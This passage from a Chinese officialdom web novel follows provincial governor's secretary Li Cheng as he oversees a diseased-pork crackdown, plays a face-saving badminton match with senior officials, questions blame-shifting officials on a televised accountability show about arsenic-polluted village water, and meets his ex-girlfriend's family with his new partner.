为了不耽误干部的正常工作,节目录制时间是在每周六,周天进行播出。 每周只播一期。 在法定节假日进行录制,自然可以拿到加班费。 省长孟良德,市长张宝林,这种级别的领导,作为特邀嘉宾,参与一期还可以。 不可能每周都加班去参与录制节目。 李承就成为了最合适的人选。 他作为秘书,年纪还轻,需要一些崭露头角的机会。 而他作为孟省长的‘眼睛’‘嘴’‘耳朵’,他的一举一动都代表着孟省长。 他坐在台上,自然可以起到震慑的作用,给许梦撑住场面。 “我给你们小情侣创造相处的机会,你还想着要加班费呀,哈哈哈。”孟良德玩笑的说道。 “加班当然要收费了,我这也叫跟随党的脚步走嘛,维护劳动法。” 劳动法有规定,加班依法付费,除非是自愿加班。 可谁又会自愿加班呢? ..... 病死猪问题,虽由李承负责跟进。 但他的主要工作,还是以孟良德的工作内容为主,并没有充足的时间亲临现场。 现在的李承,与秦海掌管省政府办公厅时期的李承,截然不同。 秦海在的时候,这种事要跟秘书长报告,还要跟张俊协调工作。 想要顺利的开展下去,都要看秦海和张俊的脸色,他们找个借口敷衍和拖延,李承也只能干着急。 但现在,李承是综合一处的副处长,同时担任着处长的工作。 他有权力调动整个综合一处进行配合工作。 拿起办公桌上的座机,李承的第一个电话,打给了省电视台的台长赖八法。 “李秘书。” 电话接通,赖八法笑盈盈的打起招呼。 “赖台长,下午一点,你安排几个外访记者,去市场监督管理局,省里决定对星光屠宰场的处理进行全程曝光。”李承交代道。 “好的李秘书。” 赖八法点了点头,试探的问:“需要安排许梦参与吗?” 自从节目播出后,百姓们对病死猪问题的关注度很高。 在赖八法看来,实地跟踪报道是一次获得流量的机会,这种机会,他不知道李承是否准备安排给许梦。 “不需要。”李承直接拒绝:“赖台长,你不必因为我和许梦的关系就多费心,正常安排工作就行。” 拒绝他,李承还是有私心的。 一方面,大家都知道许梦跟他的关系,如果许梦外访和主持节目都参与,不合规矩,大家会认为李承以权谋私。 二来,星光屠宰场那环境,不堪入目,从画面中都觉得恶心。 许梦又是一个很干净的女孩,李承不想让她去那种地方。 “好的李秘书。” 挂断电话,李承又分别打给了公安局的宫庆鑫,让他安排人员配合行动。 以及市场监督管理局的韩峰。 星光屠宰场的问题出现,主要是市场监督管理的不力,他们负主要责任。 而这次,刚好是挽回市场监督管理局形象的一个机会,李承自然要提醒韩峰在这次曝光中,着重表现。 韩峰也表示会亲自到场,进行指导工作。 第100章 男人至死是少年 “蒋志宏,你跟我来一下。” 来到综合一处,李承对蒋志宏招呼一声,径直走向了处长办公室。 在他的吩咐下,蒋志宏放下了手中工作,跟了上来。 蒋志宏是综合一处的老员工了,但他跟张俊尿不到一个壶里,所以,一直坐冷板凳。 正所谓一朝君子一朝臣,张俊在位时重用的几个狗腿子,李承统统给抛到了一边。 他用的,就是这些有能力,却不受张俊待见的。 这样,这些人被重用后,才会感恩戴德。 尽管日后有新的处长负责综合一处,李承培养出自己的团队,外加省长专职秘书的身份,依旧可以将综合一处牢牢把握在自己手里。 仕途之路,本身就是一种竞争。 想竞争,想竞争赢,就需要有人支持,有自己的一股小班底。 孟良德为了巩固自己的权力,在培养自己的班底,为了在省委常委上拉到席位而煞费苦心。 李承也不例外。 走上了这条路,想要晋升,就算不喜欢官斗,也由不得自己。 “李处长。” 蒋志宏站在李承面前,恭敬的说。 跟在孟良德身边,别人喊他李秘书,李承不会在意。 但是,在综合一处,别人若是还喊他李秘书,就显得不懂事了。 而蒋志宏,就是很懂事的人。 “坐。” 待到蒋志宏坐下后,李承直奔主题:“叫你过来,是有一件事要交代给你做。” “李处长,您尽管吩咐。”蒋志宏道。 “下午一点,你去一趟市场监督管理局,韩局长会亲自带队去查星光屠宰场,公安,媒体也都会到场。 你要做的,就是监督整个过程。”李承吩咐道。 李承自己不能到场,但综合一处需要出人去当他眼睛,来汇报过程。 此事是孟良德交代下来的,容不得意外出现。 到时候,他还要根据蒋志宏的汇报,来决定是否需要调整方向。 韩峰是执法的负责人,但消除病死猪问题的总规划人,是李承。 “明白,李处长,谢谢您给我这次机会。” 蒋志宏不笨,他知道这是李承给他的机会。 他坐了这么多年的冷板凳,看似工作悠闲,平平淡淡。 可一直以来,他也想要一个展现自己能力的机会。 看似,李承只是安排他一个小小的监督工作,但这也表示了李承对他的看重。 监督,就是眼睛。 李承让他做眼睛,是一种信任。 能够得到领导的信任,以后还愁施展不了‘拳脚’的机会吗? 何况这次去监督,他能接触到韩峰这种副厅级领导,和公安部门的同志,混了脸熟,以后都会有用处。 ...... 临近下班。 蒋志宏才回来,向李承进行工作汇报。 在听完他讲述的全过程后,李承满意的点了点头。 韩峰下足了整顿的决心,对于星光屠宰场没有丝毫的心慈手软。 为此,他特意将负责食品安全的王副局长带在了身边,在星光屠宰场和镜头面前,进行了一番严厉的训斥。 韩峰同样将这次媒体曝光视作一次洗清自己的机会,他搞出的阵仗,让李承满意。 无需再做任何调整。 蒋志宏刚汇报结束,孟良德也从办公室走了出来。 “孟省长。” 看到孟良德,蒋志宏连忙起身恭敬打招呼。 “嗯。” 孟良德微微点头,算是回应。 “你回去吧。” 李承冲蒋志宏使了一个眼色,跟在孟良德身后,一同下了班。 “李秘书,今晚没有约会吧?” 自从两个人关系逐渐熟络后,孟良德时不时会开李承的玩笑。 杨兆华曾跟李承在酒桌上提及过孟良德,讲述了他们学生时期的经历。 孟良德这个人,就是一个喜欢开玩笑,开朗中带着些顽皮的性格。 男人嘛,至死是少年。 只不过,走上了官场这条路,任何的性格都要内敛起来,尤其身为省长,他要保持严肃,冷静,和喜怒不形于色。 威严和庄重,是领导该有的状态。 那种威严和庄重是枯燥乏味的,领导也是人,他也有自己本身的性格。 这种性格,只会对信任的身边人。 他开李承的玩笑,代表他信任了李承。 “没有约会,老板有什么好事?”李承笑呵呵的问。 李承知道,孟良德问自己有没有约会,就证明有事情要自己。 但这种事情,应该是抛出在工作之外的。 如果是工作事,孟良德会直接安排,不会询问李承的时间。 作为专职秘书,本身就是要全天候待命。 “没事的话,晚上去打会球。”孟良德道。 “好啊。”李承直接答应。 “这次不是我们两个人打,你我一队,跟刘景军和他儿子打,昨天常委会结束,他非要约我打一场羽毛球。 今天,你可要给我好好表现,打起十二分的精神,杀杀他的威风。”孟良德爽朗的说。 “放心老板,我保证不给您丢脸。” 李承大学时期就是羽毛球校队的,并且,是有潜力成为专业的运动员。 他跟孟良德打,为了哄对方开心,向来都会放水...不...是放海。 跟外人打,尤其是要给省长争光,他自然不会留手。 迎宾馆里有李承的储物柜,李承的运动服放在这里,目的就是为了方便陪孟良德打球。 在迎宾馆吃过晚饭,两人来到省级老干部活动中心。 活动中心主要服务于离退休的老干部,在职领导当然也可以使用。 “老刘,来得很早呀。” 走进羽毛球馆,刘景军和他儿子已经等在这里了。 刘景军是东江省的政法委书记。 “我们也刚到。”刘景军原地活动着筋骨,说道。 “刘书记。” 李承跟在孟良德身后,也向刘景军打了个招呼。 对方微笑点头,算是回应后,对身旁十七八岁,正直青壮年的儿子说:“叫孟叔叔。” “孟叔好。”刘鑫礼貌招呼。 “你好。” 孟良德点了点头,客气的玩笑了一句:“老刘啊,你儿子可比你帅多了。” “呵呵...我是老了,我年轻的时候比他帅。” 第101章 险胜 寒暄一番后,正式开始打羽毛球。 这么久以来,孟良德一直认为李承的水平有限,不如他。 所以,他选择了做主打,李承做副打。 而对方为了配合孟良德,也是由刘景军作为主打,刘鑫为副打。 前半场,打得有来有回。 但还是孟良德跟占据优势,他是一个羽毛球的爱好者,相比之下,刘景军就显得更业余。 而且,他的年纪也比孟良德高,体力也不及。 前半场结束后,孟良德略胜一筹。 “老孟,你可以呀,这体力不输年轻小伙子,我是老了。”刘景军双手扶着膝盖,喘着粗气。 “你比我年长,我到你这个年纪,未必如你。”孟良德喝了一口水,笑呵呵的道。 “休息一会儿,下半场让两个小将来主打吧。”刘景军提议道。 “我还能坚持,我来吧。” 孟良德有一颗好胜心,他想赢下这个娱乐比赛。 他并不怎么放心李承的水平。 在他看来,李承的羽毛球水平跟刘景军差不多,过于业余。 平时,他都给李承溜得团团转,若是让李承主打,肯定也会被对方溜得团团转。 如果配合不好,还可能乱了阵脚。 “你是不放心李秘书吧,一顿烧烤而已,这么拼呀,哈哈哈。”刘景军拧开保温杯,小口的喝着水,调侃道。 这时李承才知道,今晚的羽毛球比赛是有赌注的。 输了的人要请客吃饭。 “别以为我不知道,你儿子高中就是羽毛球校队的,这顿饭,看样子你是吃定我的了。” 孟良德哈哈一笑,戳破了对方心里的小九九。 领导也是普通人,在这种娱乐活动上,也会想普通人那样,搞掉小花样。 谁也不在乎那顿饭,就是一个娱乐效果。 “哈哈哈...孟省长请客,当然要吃了。”刘景军这架势,是吃定孟良德了。 休息了十几分钟,开始了下半场比赛。 或许是为了下半场做铺垫,不想让孟良德输得太难堪,上半场刘鑫基本没怎么接球,属于放水。 李承自然也就没怎么动。 刘鑫没有那么多的官场心思,下半场开始,就给了孟良德十足的压力。 经过上半场的体力消耗,外加对方年轻,而且是校队的,孟良德很快就落入下风。 对方却丝毫没有给孟良德省长身份的面子,打得越来越猛,有种乘胜追击的价值。 很快,就打了孟良德一个五比零。 孟良德觉得有些丢脸,但他也不至于跟一个小孩子计较。 “小李,你来跟他打吧。” 孟良德喘着出气,把主动的位置让给了李承。 “好的老板。” 李承作为主打,也有点犯难。 他在孟良德眼中看到了对赢的渴望,知道一定要打赢对方,给孟良德长长脸。 但却不能赢得太容易。 他不是刘鑫,不能打得为所欲为。 他要打的,还是官球。 既不能输掉比赛,又不能赢得太容易,得给刘景军和刘鑫合理的台阶下。 李承开始发球。 尽管知道对方最薄弱的地点是后方,打到刘景军那里去,刘景军基本接不住他的球。 刘鑫想接球,就会在身体上跟刘景军发生碰撞,刘景军会成为刘鑫的障碍物。 可打官球,他不能为了赢而打击对方弱点,那样会让刘景军这位政法委书记觉得很丢面子。 刘鑫水平很高,李承也不是纸老虎。 两个人打了几个回合后,李承看到破绽,一个过网轻吊球,让刘鑫来不及回防,输掉了球。 紧接着,李承算是把毕生所练的球技施展了一个浑身解数。 最终,以总分一球之差,赢得了这场比赛。 “哈哈哈,老刘啊,这个客,看来你是请定了。”赢得了比赛,孟良德自然是满面笑容。 “省政府人才辈出啊,孟省长的秘书不仅工作优秀,球打得也不错。”刘景军摆了摆手,说:“你挑地方,我安排。” 一个娱乐的羽毛球比赛而已,刘景军当然不会过于在乎输赢。 玩得尽兴就好。 而且,输的也不难看,只是一球之差。 总体讲,输是输在了前半场,是他输给了孟良德,后半场顶多算是李承扭转战机。 但从半场的输赢来看,后半场还是刘景军和刘鑫赢。 这是李承故意控分的结果。 刘景军是将他儿子作为杀招,来跟孟良德打球,李承总不能让对方输掉两场,那样,太扫兴了。 对于比赛结果,刘景军不在意,但刘鑫的脸色并不好看。 年轻气盛,又是羽毛球校队的。 在他看来,自己输给一个天天坐办公室的文职人员,是一件很丢面子的事情。 李承看出了对方的懊恼情绪,开口说:“多亏孟省长在替我消耗了刘公子的体力,不然呐,我会输得很难听,我这算是以逸待劳了。” 这句话,不仅给刘鑫一个台阶。 并且,也突出了孟良德。 他自己,则被评价成了一个侥幸者。 “你的球技很厉害,角度刁钻,也是专业的吧?” 作为政法委书记的儿子,他也是有城府的。 李承给了他台阶,他的脸色也缓和下来,对李承说。 “大学的时候也进过校队,有机会走运动员来着。”李承如实说。 今天,他是为了赢,展现出了自己最真实的水平。 孟良德也看在眼里,所以,没有必要的隐瞒了。 “好啊,原来你小子跟我打,都是故意放水,哄我开心。”孟良德调侃的语气,说道。 他也是一步步爬到这个级别的,故意给领导放水的事情,他也做过。 对此,他是理解的,也不会计较,就当做是一个玩笑。 “哈哈哈,老孟,你最开始是不是还以为小李秘书是个新瓜蛋子,不放心他打呀,没想到吧,人家是专业的。” 刘景军哄然大笑,气氛也变得轻松起来。 打完羽毛球,四个人找了一个烧烤店,吃了一顿饭。 在这顿饭上,孟良德和刘景军还喝了点酒。 孟良德向来不跟外人喝酒,由此可见,孟良德与刘景军的私交还是不错了。 通过这一点,李承也似乎觉得自己,在渐渐融入孟良德在东江省的人脉圈。 第102章 水质问题 自从《东江问政》开播后,李承的周六也被占用,好在能与许梦一同工作,还是很幸福开心的一件事。 “李承同志,你在家里是怎么教导我的?怎么自己要上台了,这么紧张呢。” 演播厅休息室,许梦看着神情凝重,略显紧张的李承,调侃道。 “第一次上电视,我爸妈和家里的亲戚都会看,哪能不紧张呀。”李承点燃一根香烟,平复自己即将上台的紧张心情。 虽说,他作为特邀嘉宾,不会像许梦那样一直讲话。 但遇到点评的问题时,导播还会打开他的话筒,让他来发言。 他在台上,属于是替代孟良德。 作为省长秘书,他的发言和表现,全省,乃至于全国人民都会看到。 他不能给孟良德丢脸。 点评不到位,状态不够良好,都可能成为人民议论他能力不行的话柄。 “不要紧的,外交天团的赵副司长早起被采访时也结巴呀,都有一个过程。”许梦将自己的水杯递给李承,安慰道。 话虽这么说,可真要上台,他还是会紧张。 “不喝了,一会要上厕所就不好办了。”李承摆了摆手,道。 “李秘书,许姐,节目要开始了。”这时,一个省电视台的员工进门提醒。 “好。” 李承深深吸了一口烟后,将烟蒂按灭在烟灰缸内,跟许梦一同走入演播厅。 坐在特邀嘉宾的席位上,李承的心跳仍然很快。 凡事都有一个适应,随着节目开始,许梦开始讲开场白,李承的紧张情绪也稳定了下来。 他端坐在那里,时刻保持着自己的形象。 前一个小时,主要是录制关于上一期节目的回访。 关键点,就是百姓们最关心的病死猪问题。 而这个问题,被李承安排到了回访的最后部分。 电视节目需要流量,而获得流量,就要有压轴节目。 把百姓最关心的问题放在最后面介绍,就能留住观众的眼球,保持期待感,让他们从头跟到尾的观看,保证收视率。 如果节目播出的第一部分,就是病死猪问题,那么就会出现很多群众了解结果后,直接换台的现象出现。 “相信电视机前的观众朋友们跟我一样,时刻关注病死猪和星光屠宰场的后续。 据我了解,此事相关部门已经有了处理结果,现在请汉江市市场监督管理局的韩峰局长,为大家讲述一下情况。” 许梦说完,导播将镜头转移到了韩峰身上。 “星光屠宰场已经关停,市面上所有销售的病死猪,全部进行了召回销毁,我们联合公安机关,对星光屠宰场的负责人洪斌,洪宇,以及供货商蔡市毅等不法分子进行抓捕,将追求其刑事责任。 除此之外,市场监督管理局的内部也存在一定的包庇现象,上一次被主持人问政的食品安全处处长王兴就是保护伞。 现已经被双开处理,并移交到了纪委部门.....” 韩峰向对领导汇报工作一样。 将处理结果着重讲述,并且说了一番保证会加强监管,不会出现类似事件的话,以此来加强民众信息。 韩峰汇报结束后,在许梦的引导下,导播插入了打击星光屠宰场,以及抓捕犯罪分子的VCR。 作为孟省长的秘书,节目的特邀嘉宾,回访结尾时,李承自然讲话。 “省委省政府领导三令五申,要对民生问题加强重视,食品安全更是头等大事....” 李承的讲话相对客观,严肃。 他作为领导的‘嘴替’,要强调是领导的意愿,表明领导对于百姓的高度重视。 在他讲话结束后,也将进入今天的问政主题。 “接到群众举报,说位于长廷县五岗镇张家屯正在开采雄黄矿,导致当地水质受到严重污染,危害民众安全。 我们记者也来到了五岗镇的张家屯,进行实地考察。” 许梦讲述完,导播切入画面。 大屏幕上开始播放一位女记者对张家屯的报道。 “我现在位于长廷县五岗镇的张家屯,这位是我们的村民李大哥,请问李大哥,自从雄黄矿开工后,对村民的生活有什么影响....” 接下来,就是记者的提问,和村民的回答环节。 村民李大哥表示,自从污水排放后,村里人的身体都受到了严重的健康危害。 轻则出现腹泻,头晕,咽喉痛,皮肤病等症状。 重则是器官损伤,加大患癌风险。 他本人也在今年八月份查出了癌症。 今年他们全村查出癌症的村民,有一百多人,村民现在集体是集体抗诉。 经过采访后,水质检查的结果也出来了。 “在我手中就是关于张家屯水质的检测结果,其硫化砷严重超标上千倍。” 屏幕播放到此结束,导播将画面重新切换到了许梦。 “长期接触硫化砷超标上千倍的水,对人体损伤是严重且不可逆的,对于此事,我们请到了长廷县水利局的张安局长。 请问张局长,对于张家屯的问题,您知情吗?”许梦问。 “主持人,我不知道。” “据我们了解,村民多次向县里相关部门反映过,您重点负责农村饮用水的管理,出现如此重大,危害群体民众健康的问题,您是真的不知情,还是不想负责呢?” 许梦逼问道。 她很清楚,对方不可能不知情,而是不想负责任。 “不是不想负责,主要这种企业排污问题,不归我们水利局管,是环保局的工作,我们也跟环保局反映过。” 张安面对许梦的逼问,磕磕巴巴的推卸起责任。 人在紧张时,就容易说错话,张安就是这种情况。 “既然跟生态环境局反映过情况,那您为什么还说自己不知情呢?”许梦追问。 作为主持人,许梦的讲话要更加严谨。 现在已经没有环保局这一机构,在18年机构改革后,环保局同步更名为生态环境局。 张安可以称环保局,主持人不可以不严谨。 “我...” 面对许梦的追问,张安冷汗直流,磕磕巴巴的不知道怎么说。 许梦也没有继续逼问他,节目效果已经达到。 “我们今天也请到了生态环境局长廷分局的栢凯局长,请问栢局长,您有没有对张家屯的水质问题进行监管整改呢?” 第103章 踢皮球 “我们派人去调查过,但张家屯的雄黄矿属于非法开采。主要负责部门是自然资源,应由他们责令停止开采,我们也向他们转达过。” 对于许梦的提问,栢凯早已经想到了推卸的说辞。 踢皮球! 又是踢皮球! 对于两个负责人的轮流推卸,李承眉头紧皱。 都说百姓办事难,稍有半点可能推卸的方向,这些人就想方设法的推卸到其他部门去。 没有一个为民众服务的态度。 “主持人,我打断一下。”李承打断了许梦的开口。 自然资源的人,今天并没有请到现场。 对于许梦来说,接下来的追问,就显得为难了。 许梦作为主持人,她可以对于一个问题步步紧逼,但她没有问责和训斥的权力。 面对这种踢皮球的行为,对她的身份来讲,是一个应对难题。 但李承不同,李承坐在这里,是代表了孟省长,他可以问责。 李承打断许梦,即是给许梦缓解压力,也是从心底对这群人的行为而愤慨,想要问责! “我问问你们两位局长,张家屯的水质污染,在不在你们的工作范畴之内?”李承冷声问。 “在。” “嗯。” 在李承的询问下,两个人表情难堪,却也都点了头。 他们没得选。 他们敢说不在工作范畴内吗? 如果敢,那就不是失职的问题了,而是不清楚他们所在单位的职责是什么。 一个局长,连自己单位的主要职责是什么都不清楚,那还有什么资格坐在那个位置上? “既然在你们工作范畴内,你们为什么不管?你们把人民安全置于何地?在你们眼里,有没有人民,有没有党,有没有良心啊! 如果你们的家人住在那个村子,你们还会放任不管,去踢皮球吗?” 李承表情严厉的连番质问,丝毫没有任何情面的顾忌。 可对于李承的呵斥,两个人却都不敢吭声。 “我们是一个民主的国家,以人民的利益和安全至上,而你们却在人民健康受到威胁时,选择以这种极其不负责任的方式应对。 你们辜负了人民和党的信任,这不仅仅是失职的问题。 这件事我会如实向孟省长做出汇报,省政府也会对此事重点关注。” 一个小时后,今天的问政节目录制结束。 “我看你发挥的不错,一点都不紧张。”许梦走到李承身边,笑嘻嘻的说。 “相比于紧张,他们的行为更让我愤怒。” 李承恶狠狠的扫了一眼正准备起身离开的张安和栢凯。 因为他的懒政,导致一个村的村民长期受到污染水的侵害,这是对百姓生命安全的不负责。 像那种人,不配为官。 “别生气了,都会解决的。”许梦轻声安慰。 “李秘书。” 就在这时,栢凯和张安走了过来,脸上堆积着笑脸:“我们想请您一起吃个饭,聊聊这件事的解决方案,可以吗?” 他们知道,如果李承去孟良德省长耳边控告,大概率,他俩的职位都要不报。 所以,他们商量一番决定私下跟李秘书解决这件事。 “到时候相关部门会找你们谈。” 对于二人的邀请,李承冷声直接拒绝。 “李秘书,我们俩觉得您周末加班加点为工作奋斗,挺辛苦的,就想请您吃个饭,没别的意思。” 张安讨好的笑着,继续邀请。 “不管你们什么意思,都别在我身上费心思,有这个时间,不如去想着为百姓解决实事!” 李承语气更加冷漠。 两个人撞了一鼻子灰,也只好悻悻离开。 ....... 周日,是李承和许梦一周内,唯一的闲暇时光。 忙碌了一周,两个人可以在这一天里做回做普通的情侣,体验那份纯真的浪漫。 下午,两人来到凯瑟广场,买了几套冬季保暖的衣服。 两人定了这里晚上六点四十的电影票,准备就近在广场里吃口饭,再去看个电影。 纠结了很久,最后选中了一家还不错的粤式茶餐厅。 许梦和李承都喜欢重口味的食物,尤其是许梦这位川妹子,更是无辣不欢。 可是没办法,作为电台支持人,她需要保持形象。 清淡饮食就成了关键。 “宝宝,你先进去点菜吧,我去一趟洗手间。” 许梦从包里拿出纸巾,随后将包包和外套塞进李承手中。 “好。” 李承接过东西,走入餐厅。 “你好先生,请问你几位用餐?”服务员微笑询问。 “两位。” “这边请。” 在服务员的引导下,李承来到了靠近玻璃窗的位置。 还没等入座,李承就看到隔壁座的熟悉面孔。 是秦虹的妈妈,冯桂枝。 李承看到了她,她也同样看到了李承。 “阿姨,这么巧,您也在这里吃饭。”见了面,李承当然要主动打个招呼。 说话时,李承的目光也扫向了冯桂枝对面的男人。 男人年纪三十岁左右,带着个金丝眼镜,看起来文质彬彬的。 “啊,是你呀。” 见到李承,冯桂枝表情显得有些不自然。 心中也暗道了一声倒霉。 今天是她给女儿秦虹撮合相亲的日子,男方的条件冯桂枝是样样都满意,还是秦虹工作单位的经理。 只是对于相亲,秦虹是百般抵触。 她和秦虹爸爸好不容易想来个理由,给两个人创造机会。 由冯桂枝先与男方去谈,再想办法给秦虹骗过来相亲。 结果,秦虹已经在来的路上,半路却杀出个程咬金。 这要是让秦虹看到李承,估计这次相亲又要泡汤了。 冯桂枝想了想,站起身走到李承旁边,低声说:“小李,你换个地方吃饭吧,我家秦虹在这里相亲,你出现不好。” “嗯,行。” 李承理解冯桂枝的想法,也爽快的答应了。 前女友相亲,自己领着新女友在旁边吃饭,他也觉得很别扭,巴不得远离。 “妈。” 可就在此时,秦虹的声音打断了二人。 两个人都没想到时间上这么寸,秦虹这么快就过来了。 秦虹看到李承也在,诧异的问:“李承,你怎么也在这里?” 第104章 打脸 “我在这里吃饭,刚好遇见了阿姨。”李承如实说。 “秦虹,你过来了。” 这时,相亲男也站了起来,挥手跟秦虹打招呼,满脸的谄媚笑意。 “牛经理,你怎么也在?” 秦虹纳闷的询问,很快,她就反应了过来。 “妈,你是不是又在给我相亲,我说了,这是我的自由,你们不要管。” 同在一个单位,牛经理对她有好感,她是能直观感受到的。 这份直观,来自于牛经理的穷追不舍,甚至像狗皮膏药一样烦人。 “人家小牛对你一片真心,你就相处相处试试呗。” 看到女儿的抗拒姿态,甚至有转身就走的架势,冯桂枝拉住了秦虹,苦口婆心的劝道。 “我不喜欢他,你总不能让我跟我不喜欢的人凑合过吧。”秦虹态度明确,直接拒绝。 “过日子,要看合不适合,对不对你好,喜欢有什么用?”冯桂枝反驳道。 “跟一个不喜欢的人在一起,那还不如孤独终老!”秦虹严肃的强调道。 “你喜欢李承,那有什么用,人家不还是有新欢了?还会记得你吗?” 冯桂枝知道女儿心里还放不下李承,强迫拆散他们俩,一直是秦虹心中的结。 她想让女儿认清现实。 “那还不是因为你不同意。”说到此时,秦虹的道。 站在两个人中间,李承变得十分尴尬。 想要开口缓和两人关系,又插不上嘴。 想要迈步离开,又感觉这时候离开,不太好。 “那还不是因为他出生农村,没有钱买房买车吗?再说,他现在是有出息了,当上了领导秘书,但一个月也就挣万八千块钱。 人家小牛,年薪大几十万啊,有了钱,才有更好的生活。” 论社会地位,牛经理不如李承。 但工资水平,确实能甩李承好几条街,这是不可否认的事实。 “哦,我听明白了,秦虹,你原来就是因为他才一直拒绝我的呀。” 这时,牛经理也站了出来,他上下打量了李承几眼,眸子中带着敌意:“他有哪点比我好,在汉江,万八千块钱的工资也就勉强能维持个吃喝。 一个农村人,靠着这点工资,想在汉江给你好的生活是不现实的。 我不一样的呀,我父母都是国企退休员工,在御江湾还有一套一百六十平的房子,车子也是奔驰E级,这些都是他辛苦一辈子都买不起的。” 两个人无仇无怨,牛经理却如此贬低自己,甚至还有讽刺意味,这引起了李承的强烈不满。 “你条件这么好,怎么都快秃顶了,还没有结婚呢?”李承直戳对方的要害。 对于这种人,李承丝毫不顾忌给对方留颜面。 对方都给脸不要脸了,自己还有什么在乎的。 秃顶是牛经理的痛点,正所谓打人不打脸,揭人不揭短。 这一句话,直接让牛经理破防。 “我没结婚是为了事业,我靠着自己的本事,做到了天禧公司项目经理的位置,像我的条件,找什么样的都能找到。 年龄大一点,我也属于是优质男性。 不像你,年纪不比我小几岁,还是一无是处,你这种剩男在汉江是不可能有女孩选择你的,你就只能回你们村找个农村媳妇!” 牛经理愤慨的反驳道。 他张嘴闭嘴就是农村人,言辞中带着不屑和瞧不起。 “是吗?” 李承轻笑一声:“可是我有女朋友呀?” “那你女朋友也不会是什么高档货,不是离异带孩子的,就是低素质人群!”牛经理讥讽道。 “你们在吵什么?” 就在这时,许梦走了回来,纳闷的询问道。 “你不是那个东江问政和晚间新闻的主持人许梦吗?” 见到许梦,秦虹爸爸立马认出了对方,惊诧的说。 秦虹爸爸紧跟新闻实事,晚间新闻是他每日必看的节目。 尤其是《东江问政》播出后,更是引得他的喜欢。 他经常在家里痛斥那些为官者的不作为,也时常表扬许梦作为主持人的敢问敢言。 他算是许梦的一个忠实粉丝。 《东江问政》一经播出,在汉江火的一塌糊涂。 作为新闻女神,她的名字被喊出来,立马引来很多食客的目光。 “真的是许梦呀,她本人比电视机里更漂亮啊。” “这姑娘长得是真带劲,还有出息,不知道会便宜谁的傻小子。” “长得漂亮不说,还有能力,这不就是老天爷赏饭吃。” 周围人的夸赞声不断。 当看到许梦的那一刻,牛经理眼睛也直了。 虽说秦虹的长相也不差,但跟许梦比起来,却逊色了一些。 尤其是在新闻女神的光环加持下,让人垂涎。 “没什么。” 李承也不知道该如何介绍此刻的场景,只好敷衍回答。 “许小姐你好,我是天禧公司的项目经理,鄙人牛闯,是你的粉丝,很高兴在这里能遇到你。” 牛经理知道秦虹对她不感兴趣。 自诩优质男性的他认为,只要他能配得上许梦这种优质女性。 他想趁着这个机会,争取一个可以和许梦成为朋友的机会。 对于他的话,许梦置之不理。 她伸手握住了李承的胳膊,甜甜的笑道:“宝宝,我不是很想吃这家餐厅,要不我们换一家好不好?” “好啊。” 李承挽起许梦的手,跟秦虹一家打了招呼,离开这间餐厅。 两个人的亲密举动,尤其是许梦看向李承时,那满眼的喜爱之色,让牛经理顿感挫败。 刚刚,他还贬低李承这种人,只配找农村妇女。 可转眼间,李承的女朋友就出现了,还是他高攀不上的新闻女神许梦。 那种心情让牛闯觉得比吃二斤苍蝇屎还要难受。 难受的不止他一个人。 还有冯桂枝。 是她一手策划,逼迫秦虹和李承分手。 她是打心眼里不希望李承过得好,这样,才能验证她拆散那段感情的正确性。 可现实是,李承不仅事业有很大的成就,三十岁的年纪坐上了副处长,还是省长孟良德的秘书。 感情上,更是跟新闻女神许梦如胶似漆。 活脱脱的人生赢家。 李承如今的生活,给冯桂枝了一记狠狠的巴掌,让她清楚的意识到,自己当初的决定是多么愚蠢..... 第105章 送命题 “刚才那一家,就是你之前提到的前女友吧?”出了餐厅,许梦温柔的问。 “嗯。”李承没有否认。 “那个男人真下头,说你只配找农村媳妇,哼,你能找到的媳妇,是世界上最好的媳妇。” 许梦轻哼一声,样子十分可爱。 李承知道,刚刚许梦的一举一动,一言一行,是故意在给自己找回面子。 见李承没有第一时间回答自己,许梦掐了李承的胳膊一下,故作生气:“你怎么不回答,难道不是吗?” “是,你就是这天底下,最好最好的媳妇儿,如果能娶到你,是我祖上八代积来的德。”李承笑着回应。 许梦满意的点了点头,语气调皮:“不是八代,是十八代哦,哈哈。” “一百八十代行不?” ‘我的爱如潮水,爱如潮水将我向你推....’ “谁呀?” 两人说说笑笑时,李承的手机响了起来。 对于李承的电话,许梦也有了应激反应。 这段时间的接触,他很了解李承的生活圈子,很干净。 基本上,每一个电话都与工作上的人和问题有关。 她怕今天的甜蜜生活被打断。 “我妈。” 李承拿起手机,并不是电话,而是微信的视频。 许梦闻言,这才松了一口气:“你明天能不能微信铃声和手机铃声换成不一样的,我以为是工作电话呢。” “行。” 李承答应一声,接通电话:“喂,妈。” “小承,我和你爸今天在电视机上看见你了,还有不少亲戚朋友也都看见了,都给我和你爸打电话问你,说你出息了,哈哈哈。” 看到李承,董丽立马笑得合不拢嘴,滔滔不绝的说。 “我愧是我儿子,你小子真给你老爹我长脸。”李广义也在一旁插话。 “儿子有出息,那还不是随我,要随你,这辈子都废了。” “我咋了,我要不从农村出来,他能有这么好的学习条件吗?听你的还在家里种地呢。” “你还好意思说,你是干一行赔一行,咱儿子可不像你,儿随娘,你没听过呀。” “行行行,都随你。” 看着视频里那边父母的拌嘴,李承嘴角不自觉流露出笑容。 他们两口子是拌嘴拌了一辈子,也恩爱了一辈子。 吵吵闹闹,却从来没有真正红过脸,这样的生活也很幸福。 “你们都看我节目了,怎么样?” 李承找了一个话题,打断了他们两个人。 “看了,刚播就看了,心思这个点你应该忙完了,才敢给你打电话。”董丽说。 “节目是昨天录制的,今天才播,周末我放假不忙。”李承解释道。 “奥奥,这样呀。” 董丽点了点头,笑呵呵地问:“你跟许梦的感情怎么样?” “分手了。”李承开玩笑的说。 说完之后,李承只感觉腰间一疼,被许梦狠狠地掐了一下。 “你个臭小子,许梦这么好的姑娘,说分手就分手了?上哪再找这么好的姑娘去? 你可别胡闹了,赶紧给我追回来。” 视频那边,董丽也气愤的责怪起李承。 “说不定是人家甩了咱儿子呢。”一旁,李广义插话道。 “叔叔阿姨,你别听李承胡说,我俩挺好的。” 这时,许梦探出脑袋到镜头前,笑嘻嘻的打招呼。 “你们俩好我就放心了,李承这个混小子要是惹你生气,你就跟阿姨说,等他回来,我打断他的腿。” 董丽看到许梦后,笑得合不拢嘴。 “李承对我挺好的,阿姨放心吧。”许梦道。 “对你好就行,有啥事就跟阿姨说,阿姨给你出头。”董丽道。 “你是我妈还是她妈呀。” 李承无奈的耸了耸肩,这怎么才见过一面,自己妈妈就被收买了呢? “我是你妈才要好好管你,许梦多好的姑娘啊,你给我好好的奥,别当了官就飘,你听见没!” 